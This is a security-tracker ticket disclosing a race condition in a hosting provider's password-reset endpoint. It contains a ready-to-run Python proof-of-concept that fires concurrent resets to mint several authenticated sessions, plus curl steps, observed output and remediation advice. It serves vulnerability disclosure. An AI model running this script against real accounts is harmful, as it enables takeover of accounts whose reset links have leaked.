Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by arise01x - 02.10.2026
Last edited by cbay - 02.10.2026

FS#513 - Password-reset token single-use is not race-safe — a concurrent burst bypasses the #279 fix

# Password-reset token single-use is not race-safe — a concurrent burst bypasses the #279 fix

Affected endpoint: `POST https://admin.alwaysdata.com/user/reset_password/?user_id=<u>&token=<t>&expiration=<e>` (the link sent by `POST /password/lost/`)
Related: #279 ("reusable login token URL") — this report shows the single-use fix it introduced does not hold under concurrency

## Summary
The password-reset link is single-use sequentially: a second use submitted after the first one completes returns *"Le lien utilisé est invalide"* and issues no session (control below). The consumed/invalid state, however, is not applied atomically. When several requests hit the endpoint simultaneously, all of them pass the validity check and all are processed as a successful reset — each returns `200` with the authenticated panel and issues an authenticated session. Final run: 4/4 concurrent requests accepted; earlier runs: 2/2 accepted (both times).

Each accepted request authenticates its caller and applies its password (last write wins). An attacker who possesses a leaked/intercepted reset link can therefore race the legitimate use with a small parallel burst: the victim's reset appears to proceed, while the attacker's simultaneous request also commits — leaving the attacker with an authenticated session and an attacker-chosen password on a link the victim believes has been consumed. The single-use guarantee that #279 fixed does not actually close the link once; it closes it only against *sequential* reuse.

## Preconditions
- An account whose mailbox the tester controls (own test accounts were used; free plan).
- Possession of the reset link from `POST /password/lost/` — the attacker must already hold the link, hence Low; the finding is that the documented single-use property fails under concurrency.

## Steps to reproduce
1. Request a reset link (own account):

 ```
 curl -s -c jar -b jar https://admin.alwaysdata.com/password/lost/ | grep csrfmiddlewaretoken
 curl -s -c jar -b jar -X POST https://admin.alwaysdata.com/password/lost/ \
      -H 'Referer: https://admin.alwaysdata.com/password/lost/' \
      --data-urlencode 'csrfmiddlewaretoken=<csrf>' \
      --data-urlencode 'email=<account email>'
 ```
 → `200` on `/password/sent/`; the e-mail contains:
 `https://admin.alwaysdata.com/user/reset_password/?user_id=…&token=…&expiration=…`

2. Control (sequential). Two sessions each GET the link (a GET does not consume the token; each GET returns the form with a CSRF token and a session cookie), then POST — the second POST only after the first has completed. Result: first accepted, second rejected.

3. Race. N sessions each GET the link first, then POST simultaneously (thread barrier; `&` + `wait` in shell also works). A GET-then-POST per session is required because each POST needs its own CSRF token and session cookie. Result: every POST is accepted.

Self-contained repro script (`python3 poc.py "<link>" <control|race> <N>`):

```python
import re, sys, threading, urllib.parse, urllib.request, http.cookiejar

BASE = "https://admin.alwaysdata.com"

def new_session(link):

  cj = http.cookiejar.CookieJar()
  op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
  body = op.open(link, timeout=30).read().decode("utf-8", "replace")
  csrf = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', body).group(1)
  return op, csrf

def submit(op, link, csrf, password):

  data = urllib.parse.urlencode({"csrfmiddlewaretoken": csrf, "password": password}).encode()
  body = op.open(urllib.request.Request(link, data=data,
                headers={"Referer": link}), timeout=30).read().decode("utf-8", "replace")
  flat = re.sub(r"<[^>]+>", " ", re.sub(r"<script.*?</script>", " ", body, flags=re.S))
  if "lien utilisé est invalide" in flat: return "INVALID (rejected)"
  if "Logout" in flat:                    return "ACCEPTED (authenticated panel page)"
  return "?" 

def is_authed(op):

  home = op.open(BASE + "/", timeout=30).read().decode("utf-8", "replace")
  return "Logout" in re.sub(r"<[^>]+>", " ", re.sub(r"<script.*?</script>", " ", home, flags=re.S))

link, mode, n = sys.argv[1], sys.argv[2], int(sys.argv[3])
sess = [new_session(link) for _ in range(n)]
if mode == "control": # second POST after the first completed

  for i, (op, csrf) in enumerate(sess):
      print("POST #%d:" % i, submit(op, link, csrf, "SeqPw%d!x7Kq" % i))

else: # all POSTs fired simultaneously

  out, barrier = {}, threading.Barrier(n)
  def worker(i):
      barrier.wait()
      out[i] = submit(sess[i][0], link, sess[i][1], "RacePw%d!xyz" % i)
  ts = [threading.Thread(target=worker, args=(i,)) for i in range(n)]
  [t.start() for t in ts]; [t.join() for t in ts]
  for i in sorted(out): print("parallel POST #%d:" % i, out[i])

for i, (op, _) in enumerate(sess):

  print("session #%d authenticated: %s" % (i, is_authed(op)))

```

Observed — race (`race`, N=4, fresh link from a newly requested e-mail): ```
parallel POST #0: ACCEPTED (authenticated panel page)
parallel POST #1: ACCEPTED (authenticated panel page)
parallel POST #2: ACCEPTED (authenticated panel page)
parallel POST #3: ACCEPTED (authenticated panel page)
session #0 authenticated: True
session #1 authenticated: True
session #2 authenticated: True
session #3 authenticated: True
```
Earlier run with N=2: both accepted, both sessions authenticated, and exactly one of the two submitted passwords took effect on a subsequent login (last committed write wins).

## Impact
- The single-use property (the #279 fix) does not hold under concurrency: one link can be consumed several times at once, and each consumption mints an authenticated session.
- Concrete scenario: the attacker holds a leaked link (leaked mailbox, forwarding, logs). When the victim uses it, the attacker's parallel burst also passes validation. The victim sees a normal successful reset; the attacker keeps a session and, if their request commits last, an attacker-known password — on a link that is supposed to be dead after one use.
- No brute force or scanning needed: a handful of requests per attempt reproduces it; severity is Low because the attacker must already possess the link.

## Remediation
- Make consumption atomic and single-writer: `UPDATE reset_token SET used=1 WHERE token=<t> AND used=0` (or `SELECT … FOR UPDATE`), and treat `rowcount == 0` as "already used" — reject in-flight duplicates instead of processing them.
- Mark the token used before applying the password change, so exactly one concurrent request wins.
- Defence in depth: on successful reset, invalidate the user's other outstanding reset links and existing sessions.

Closed by  cbay
02.10.2026 07:19
Reason for closing:  Invalid
Admin
cbay commented on 02.10.2026 07:19

Hello,

That scenario is too far-fetched to be plausible, in my opinion.

Kind regards,
Cyril

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing